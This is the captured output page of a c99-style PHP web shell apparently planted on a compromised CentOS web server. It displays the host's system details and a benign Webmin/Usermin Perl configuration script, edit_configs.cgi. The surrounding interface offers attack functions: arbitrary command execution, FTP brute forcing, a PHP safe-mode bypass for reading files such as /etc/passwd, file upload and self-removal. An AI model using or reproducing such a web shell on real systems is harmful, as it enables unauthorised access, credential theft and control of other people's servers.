!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/usermin/   drwxr-xr-x
Free 53.72 GB of 127.8 GB (42.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_configs.cgi (2.68 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_configs.cgi
# Display the configs for a usermin module

require './usermin-lib.pl';
require '../config-lib.pl';
$access{'configs'} || &error($text{'acl_ecannot'});
&ReadParse();
&can_use_module($in{'mod'}) || &error($text{'configs_ecannot'});
&ui_print_header(undef, $text{'configs_title2'}, "");
&get_usermin_miniserv_config(\%miniserv);

# Show start of tabs
$prog = "edit_configs.cgi?mod=$in{'mod'}&mode=";
if (-r "$miniserv{'root'}/$in{'mod'}/config.info") {
    push(@tabs, [ "global", $text{'configs_global'}, $prog."global" ]);
    }
if (-r "$miniserv{'root'}/$in{'mod'}/uconfig.info") {
    push(@tabs, [ "user", $text{'configs_user'}, $prog."user" ]);
    }
print &ui_tabs_start(\@tabs, "mode", $in{'mode'} || $tabs[0]->[0], 1);

&read_file("$config{'usermin_dir'}/$in{'mod'}/config", \%mconfig);
if (-r "$miniserv{'root'}/$in{'mod'}/config.info") {
    # Display config form for the module
    print &ui_tabs_start_tab("mode", "global");
    print $text{'configs_globaldesc'},"<p>\n";
    %minfo = &get_usermin_module_info($in{'mod'});
    print &ui_form_start("save_configs.cgi", "post");
    print &ui_hidden("mod", $in{'mod'}),"\n";
    print &ui_table_start(&text('config_header', $minfo{'desc'}),
                  "width=100%", 2);

    # Use config.info to create config inputs
    &generate_config(\%mconfig, "$miniserv{'root'}/$in{'mod'}/config.info");
    print &ui_table_end();
    print &ui_form_end([ [ "save", $text{'save'} ] ]);
    print &ui_tabs_end_tab();
    }

if (-r "$miniserv{'root'}/$in{'mod'}/uconfig.info") {
    # Display default user config form for the module
    print &ui_tabs_start_tab("mode", "user");
    print $text{'configs_userdesc'},"<p>\n";
    %minfo = &get_usermin_module_info($in{'mod'});
    print &ui_form_start("save_uconfigs.cgi", "post");
    print &ui_hidden("mod", $in{'mod'}),"\n";
    print &ui_table_start(&text('configs_uheader', $minfo{'desc'}),
                  "width=100%", 2);

    &read_file("$miniserv{'root'}/$in{'mod'}/defaultuconfig", \%uconfig);
    &read_file("$config{'usermin_dir'}/$in{'mod'}/uconfig", \%uconfig);

    # Can edit prefs?
    &read_file("$config{'usermin_dir'}/$in{'mod'}/canconfig", \%canconfig);
    $noprefs = $mconfig{'noprefs'} == 1 ? 1 :
           %canconfig ? 2 : 0;

    print &ui_table_row($text{'configs_prefs'},
        &ui_radio("noprefs", $noprefs,
            [ [ 0, $text{'yes'} ], [ 1, $text{'no'} ],
              [ 2, $text{'configs_sels'} ] ]));
    print &ui_table_hr();

    # Use uconfig.info to create config inputs
    &generate_config(\%uconfig,
             "$miniserv{'root'}/$in{'mod'}/uconfig.info",
             undef, $noprefs == 2 ? \%canconfig : undef, "_can");
    print &ui_table_end();
    print &ui_form_end([ [ "save", $text{'save'} ] ]);
    print &ui_tabs_end_tab();
    }

print &ui_tabs_end(1);

&ui_print_footer("list_configs.cgi", $text{'configs_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0096 ]--